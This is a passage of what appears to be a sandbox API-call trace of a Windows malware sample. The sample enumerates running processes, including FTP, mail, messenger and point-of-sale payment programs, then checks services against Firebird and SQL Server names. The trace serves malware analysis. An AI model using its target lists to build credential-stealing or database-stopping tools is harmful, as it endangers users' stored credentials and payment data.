dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0117.357] lstrlenW (lpString="alftp.exe") returned 9 [0117.357] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0117.359] lstrlenW (lpString="barca.exe") returned 9 [0117.359] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0117.360] lstrlenW (lpString="bitkinex.exe") returned 12 [0117.360] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x868, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0117.361] lstrlenW (lpString="coreftp.exe") returned 11 [0117.361] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x910, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0117.363] lstrlenW (lpString="far.exe") returned 7 [0117.363] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0117.364] lstrlenW (lpString="filezilla.exe") returned 13 [0117.364] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0117.365] lstrlenW (lpString="flashfxp.exe") returned 12 [0117.365] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0117.366] lstrlenW (lpString="fling.exe") returned 9 [0117.366] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0117.369] lstrlenW (lpString="foxmailincmail.exe") returned 18 [0117.369] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0117.370] lstrlenW (lpString="gmailnotifierpro.exe") returned 20 [0117.371] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0117.372] lstrlenW (lpString="icq.exe") returned 7 [0117.372] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0117.373] lstrlenW (lpString="leechftp.exe") returned 12 [0117.373] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0117.374] lstrlenW (lpString="ncftp.exe") returned 9 [0117.374] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0117.375] lstrlenW (lpString="notepad.exe") returned 11 [0117.376] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xed8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0117.377] lstrlenW (lpString="operamail.exe") returned 13 [0117.377] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0117.378] lstrlenW (lpString="pidgin.exe") returned 10 [0117.378] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0117.379] lstrlenW (lpString="scriptftp.exe") returned 13 [0117.379] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0117.380] lstrlenW (lpString="skype.exe") returned 9 [0117.380] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0117.382] lstrlenW (lpString="smartftp.exe") returned 12 [0117.382] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0117.780] lstrlenW (lpString="thunderbird.exe") returned 15 [0117.781] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="totalcmd.exe")) returned 1 [0117.782] lstrlenW (lpString="totalcmd.exe") returned 12 [0117.782] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0117.783] lstrlenW (lpString="trillian.exe") returned 12 [0117.783] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0117.789] lstrlenW (lpString="webdrive.exe") returned 12 [0117.789] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0117.790] lstrlenW (lpString="whatsapp.exe") returned 12 [0117.790] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0117.791] lstrlenW (lpString="winscp.exe") returned 10 [0117.791] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0117.792] lstrlenW (lpString="yahoomessenger.exe") returned 18 [0117.792] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0117.793] lstrlenW (lpString="active-charge.exe") returned 17 [0117.794] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0117.794] lstrlenW (lpString="accupos.exe") returned 11 [0117.794] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0117.795] lstrlenW (lpString="afr38.exe") returned 9 [0117.795] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0117.796] lstrlenW (lpString="aldelo.exe") returned 10 [0117.796] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0117.797] lstrlenW (lpString="ccv_server.exe") returned 14 [0117.797] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0117.798] lstrlenW (lpString="centralcreditcard.exe") returned 21 [0117.798] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0117.799] lstrlenW (lpString="creditservice.exe") returned 17 [0117.799] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xef0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0117.800] lstrlenW (lpString="edcsvr.exe") returned 10 [0117.800] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0117.800] lstrlenW (lpString="fpos.exe") returned 8 [0117.800] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0117.801] lstrlenW (lpString="isspos.exe") returned 10 [0117.801] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0117.802] lstrlenW (lpString="mxslipstream.exe") returned 16 [0117.802] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0117.803] lstrlenW (lpString="omnipos.exe") returned 11 [0117.803] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1024, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0117.803] lstrlenW (lpString="spcwin.exe") returned 10 [0117.804] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1038, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0117.804] lstrlenW (lpString="spgagentservice.exe") returned 19 [0117.804] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0117.805] lstrlenW (lpString="utg2.exe") returned 8 [0117.805] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1060, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="controlling.exe")) returned 1 [0117.806] lstrlenW (lpString="controlling.exe") returned 15 [0117.806] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1074, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="assess climate.exe")) returned 1 [0117.807] lstrlenW (lpString="assess climate.exe") returned 18 [0117.807] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="color_infection.exe")) returned 1 [0117.807] lstrlenW (lpString="color_infection.exe") returned 19 [0117.808] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="home.exe")) returned 1 [0117.808] lstrlenW (lpString="home.exe") returned 8 [0117.808] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="assignedeliminatemidi.exe")) returned 1 [0117.809] lstrlenW (lpString="assignedeliminatemidi.exe") returned 25 [0117.809] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0117.810] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0117.810] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.810] lstrlenW (lpString="svchost.exe") returned 11 [0117.810] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x126c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0117.811] lstrlenW (lpString="taskhostw.exe") returned 13 [0117.811] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0117.812] lstrlenW (lpString="UsoClient.exe") returned 13 [0117.812] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0117.813] lstrlenW (lpString="taskhostw.exe") returned 13 [0117.813] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0117.814] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0117.814] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x128c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0117.814] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0117.814] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3ac, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0117.815] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0117.815] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x128c, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0117.815] lstrlenW (lpString="conhost.exe") returned 11 [0117.816] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1274, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0117.816] lstrlenW (lpString="conhost.exe") returned 11 [0117.816] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0117.817] lstrlenW (lpString="svchost.exe") returned 11 [0117.817] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="finbbp.exe")) returned 1 [0117.817] lstrlenW (lpString="finbbp.exe") returned 10 [0117.817] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x135c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0117.873] lstrlenW (lpString="dllhost.exe") returned 11 [0117.873] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x112c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0117.874] lstrlenW (lpString="cmd.exe") returned 7 [0117.874] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x900, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1378, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0118.035] lstrlenW (lpString="conhost.exe") returned 11 [0118.035] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0118.036] lstrlenW (lpString="sppsvc.exe") returned 10 [0118.036] Process32NextW (in: hSnapshot=0x390, lppe=0x245fd2c | out: lppe=0x245fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 0 [0118.036] CloseHandle (hObject=0x390) returned 1 [0118.037] Sleep (dwMilliseconds=0x1f4) [0119.716] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4eeb60 [0119.718] EnumServicesStatusExW (in: hSCManager=0x4eeb60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0) returned 0 [0119.719] GetLastError () returned 0xea [0119.719] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0x1e3e) returned 0x38d6298 [0119.719] EnumServicesStatusExW (in: hSCManager=0x4eeb60, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x38d6298, cbBufSize=0x1e3e, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x38d6298, pcbBytesNeeded=0x245ff3c, lpServicesReturned=0x245ff54, lpResumeHandle=0x0) returned 1 [0119.720] CloseServiceHandle (hSCObject=0x4eeb60) returned 1 [0119.721] lstrlenW (lpString="Appinfo") returned 7 [0119.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0119.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0119.721] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0119.721] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0119.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0119.721] lstrlenW (lpString="AppXSvc") returned 7 [0119.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0119.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0119.721] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0119.721] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0119.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0119.721] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0119.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0119.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0119.721] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0119.721] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0119.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0119.721] lstrlenW (lpString="Audiosrv") returned 8 [0119.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0119.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0119.721] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0119.721] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0119.721] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0119.721] lstrlenW (lpString="BFE") returned 3 [0119.721] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0119.721] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0119.722] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0119.722] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0119.722] 